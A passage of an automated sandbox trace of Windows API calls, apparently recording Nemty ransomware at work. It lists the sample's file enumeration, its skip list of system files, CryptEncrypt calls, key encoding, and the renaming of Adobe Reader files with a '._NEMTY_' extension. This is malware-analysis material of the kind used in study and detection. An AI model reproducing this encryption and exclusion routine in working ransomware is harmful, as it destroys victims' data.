hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.006] CloseHandle (hObject=0xffffffff) returned 0 [0200.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0200.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0200.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.006] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1._nemty_kgobjgd_")) returned 0 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0200.007] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="ADF2F4~1")) returned 1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2=".") returned 1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="..") returned 1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="...") returned 1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="windows") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="$RECYCLE.BIN") returned 1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="rsa") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="NTDETECT.COM") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="ntldr") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="MSDOS.SYS") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="IO.SYS") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="boot.ini") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="boot.ini") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="AUTOEXEC.BAT") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="ntuser.dat") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="desktop.ini") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="CONFIG.SYS") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="RECYCLER") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="BOOTSECT.BAK") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="bootmgr") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="programdata") returned -1 [0200.007] lstrcmpiW (lpString1="Adobe-Japan1-2", lpString2="appdata") returned -1 [0200.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-2", lpUsedDefaultChar=0x0) returned 14 [0200.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-2", lpUsedDefaultChar=0x0) returned 14 [0200.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-2", lpUsedDefaultChar=0x0) returned 14 [0200.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-2", lpUsedDefaultChar=0x0) returned 14 [0200.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0200.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0200.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0200.008] Sleep (dwMilliseconds=0x5) [0200.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ade62f0, dwHighDateTime=0x1d561e8)) [0200.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ade62f0, dwHighDateTime=0x1d561e8)) [0200.021] GetLastError () returned 0x5 [0200.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.021] GetLastError () returned 0x5 [0200.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.022] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0200.024] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="/6voEZA0luul1AxlI6wIRtQSGdwlCFbl9Kd0eFusOdIZ1xYu9sQo0uN1gRjQ+zK2\r\nO7BT8eNbzp8GZWIi4S0aRqUywhMdgCTpFu1Va4bECEhptXU5le7n0eK1YbOhv/ik\r\nemgJF9o8QG/+eTw223qNLxABJVW95OeaIwCWCfEuzVuI7o1XRRzobJVg6WTvPyGQ\r\nFYQGlpiiTc0DEHkr1uBx506cnfML7K3VBeIW1ZxH1XV4Eg+rratnp/qynCqmxgJ3\r\nyNQKPFCFRRK2U+R2yOZULrH2Cnol3LI32vKgTjSKD0ALa6HPYK93TGcElXqwUQ4C\r\nlA/VDJAOTdHW3AgCLxrODQ==\r\n", pcchString=0x653e91c) returned 1 [0200.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0200.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0200.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0200.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.025] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.083] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, 